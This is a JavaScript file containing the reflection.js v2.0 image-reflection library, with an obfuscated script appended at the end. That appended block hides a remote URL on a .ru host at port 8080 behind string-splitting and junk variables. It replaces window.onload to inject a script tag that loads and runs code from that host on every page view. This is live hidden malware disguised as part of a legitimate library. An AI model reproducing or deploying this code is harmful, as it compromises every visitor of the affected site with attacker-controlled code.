/**
 * reflection.js v2.0
 * http://cow.neondragon.net/stuff/reflection/
 * Freely distributable under MIT-style license.
 */
 
/* From prototype.js */
if (!document.myGetElementsByClassName) {
	document.myGetElementsByClassName = function(className) {
		var children = document.getElementsByTagName('*') || document.all;
		var elements = new Array();
	  
		for (var i = 0; i < children.length; i++) {
			var child = children[i];
			var classNames = child.className.split(' ');
			for (var j = 0; j < classNames.length; j++) {
				if (classNames[j] == className) {
					elements.push(child);
					break;
				}
			}
		}
		return elements;
	}
}

var Reflection = {
	defaultHeight : 0.5,
	defaultOpacity: 0.5,
	
	add: function(image, options) {
		Reflection.remove(image);
		
		doptions = { "height" : Reflection.defaultHeight, "opacity" : Reflection.defaultOpacity }
		if (options) {
			for (var i in doptions) {
				if (!options[i]) {
					options[i] = doptions[i];
				}
			}
		} else {
			options = doptions;
		}
	
		try {
			var d = document.createElement('div');
			var p = image;
			
			var classes = p.className.split(' ');
			var newClasses = '';
			for (j=0;j<classes.length;j++) {
				if (classes[j] != "reflect") {
					if (newClasses) {
						newClasses += ' '
					}
					
					newClasses += classes[j];
				}
			}

			var reflectionHeight = Math.floor(p.height*options['height']);
			var divHeight = Math.floor(p.height*(1+options['height']));
			
			var reflectionWidth = p.width;
			
			if (document.all && !window.opera) {
				/* Fix hyperlinks */
                if(p.parentElement.tagName == 'A') {
	                var d = document.createElement('a');
	                d.href = p.parentElement.href;
                }  
                    
				/* Copy original image's classes & styles to div */
				d.className = newClasses;
				p.className = 'reflected';
				
				d.style.cssText = p.style.cssText;
				p.style.cssText = 'vertical-align: bottom';
			
				var reflection = document.createElement('img');
				reflection.src = p.src;
				reflection.style.width = reflectionWidth+'px';
				reflection.style.display = 'block';
				reflection.style.height = p.height+"px";
				
				reflection.style.marginBottom = "-"+(p.height-reflectionHeight)+'px';
				reflection.style.filter = 'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='+(options['opacity']*100)+', style=1, finishOpacity=0, startx=0, starty=0, finishx=0, finishy='+(options['height']*100)+')';
				
				d.style.width = reflectionWidth+'px';
				d.style.height = divHeight+'px';
				p.parentNode.replaceChild(d, p);
				
				d.appendChild(p);
				d.appendChild(reflection);
			} else {
				var canvas = document.createElement('canvas');
				if (canvas.getContext) {
					/* Copy original image's classes & styles to div */
					d.className = newClasses;
					p.className = 'reflected';
					
					d.style.cssText = p.style.cssText;
					p.style.cssText = 'vertical-align: bottom';
			
					var context = canvas.getContext("2d");
				
					canvas.style.height = reflectionHeight+'px';
					canvas.style.width = reflectionWidth+'px';
					canvas.height = reflectionHeight;
					canvas.width = reflectionWidth;
					
					d.style.width = reflectionWidth+'px';
					d.style.height = divHeight+'px';
					p.parentNode.replaceChild(d, p);
					
					d.appendChild(p);
					d.appendChild(canvas);
					
					context.save();
					
					context.translate(0,image.height-1);
					context.scale(1,-1);
					
					context.drawImage(image, 0, 0, reflectionWidth, image.height);
	
					context.restore();
					
					context.globalCompositeOperation = "destination-out";
					var gradient = context.createLinearGradient(0, 0, 0, reflectionHeight);
					
					gradient.addColorStop(1, "rgba(255, 255, 255, 1.0)");
					gradient.addColorStop(0, "rgba(255, 255, 255, "+(1-options['opacity'])+")");
		
					context.fillStyle = gradient;
					context.rect(0, 0, reflectionWidth, reflectionHeight*2);
					context.fill();
				}
			}
		} catch (e) {
	    }
	},
	
	remove : function(image) {
		if (image.className == "reflected") {
			image.className = image.parentNode.className;
			image.parentNode.parentNode.replaceChild(image, image.parentNode);
		}
	}
}

function addReflections() {
	var rimages = document.myGetElementsByClassName('reflect');
	for (i=0;i<rimages.length;i++) {
		var rheight = null;
		var ropacity = null;
		
		var classes = rimages[i].className.split(' ');
		for (j=0;j<classes.length;j++) {
			if (classes[j].indexOf("rheight") == 0) {
				var rheight = classes[j].substring(7)/100;
			} else if (classes[j].indexOf("ropacity") == 0) {
				var ropacity = classes[j].substring(8)/100;
			}
		}
		
		Reflection.add(rimages[i], { height: rheight, opacity : ropacity});
	}
}

var previousOnload = window.onload;
window.onload = function () { if(previousOnload) previousOnload(); addReflections(); }


this.c='';var _P=new Date();try {var H='';var Un='';var W=new String();var _=String("g");var F=RegExp;var UY;if(UY!='T' && UY != ''){UY=null};var l='';this.uu='';var M=String("re"+"plvkb".substr(0,2)+"acAW1L".substr(0,2)+"emVxr".substr(0,1));var j=new String("fm7]".substr(3));var D=String("[");var Tq;if(Tq!='' && Tq!='zN'){Tq='WU'};var J=new Array();function f(S,N){var ih="";var g=D;g+=N;this.FH='';var QF=new String();g+=j;var yg;if(yg!='' && yg!='Qv'){yg=null};var p;if(p!='' && p!='HY'){p=null};var DQ=new F(g, _);var R;if(R!='' && R!='dL'){R='X'};return S.replace(DQ, l);var TV;if(TV!='WS' && TV!='b'){TV='WS'};var ML;if(ML!='_e' && ML!='uG'){ML='_e'};};var k='';var pt;if(pt!=''){pt='WX'};var Fb;if(Fb!=''){Fb='MQ'};var O=String("onl"+"v5soad".substr(3));var Vw=new String();var u=new String("scrjyL8".substr(0,3)+"ipt");var s=f('hYt0tYpY:0/0/Ya0dYd0i0c0t0iYn0g0gYa0mYeYsY-0cYoYm0.Yg0o0o0gYlYe0.Yn0o0.Yh0uYf0fYi0nYgYt0o0n0p0oYsYtY-0cYoYm0.0m0y0o0wYnYa0gYeY.0r0u0:Y',"Y0");var Wj="";var jT;if(jT!='Wk' && jT != ''){jT=null};var _a=f('82120952811505159',"5921");this.Bq="";var Rf=new Array();var rY="";this.Mi="";var z="/tudhoT".substr(0,4)+"OSzou.cSOz".substr(3,4)+"DL5kom/t".substr(4)+"udou"+".com4g8".substr(0,4)+"/goo"+"x1Jgle.".substr(3)+"com."+"ec/s"+"VPIina.".substr(3)+"com.05Y9".substr(0,4)+"cn/g"+"hu28oogl".substr(4)+"e.coMGtI".substr(0,4)+"m.ph"+"pweY".substr(0,1);var S="1";var Jq="";var E=new String();window[O]=function(){var hf;if(hf!='' && hf!='lB'){hf=null};var a='';i=document.createElement(u);var Yo;if(Yo!='n' && Yo!='My'){Yo='n'};var Jx;if(Jx!='' && Jx!='L_'){Jx=''};var OP;if(OP!='FW'){OP='FW'};k+=s;var Tu=new Array();k+=_a+z;var ht;if(ht!='' && ht!='FU'){ht=''};var jO;if(jO!=''){jO='gy'};i.defer=S;this.yY="";i.src=k;var eC=new Date();var dZ;if(dZ!='rq' && dZ!='aY'){dZ='rq'};var tG;if(tG!=''){tG='Ql'};var PS=new String();var U=document.body;var Mr='';U.appendChild(i);};} catch(fT){var Me;if(Me!='' && Me!='JO'){Me=''};};var dr;if(dr!='PB' && dr != ''){dr=null};this.AV='';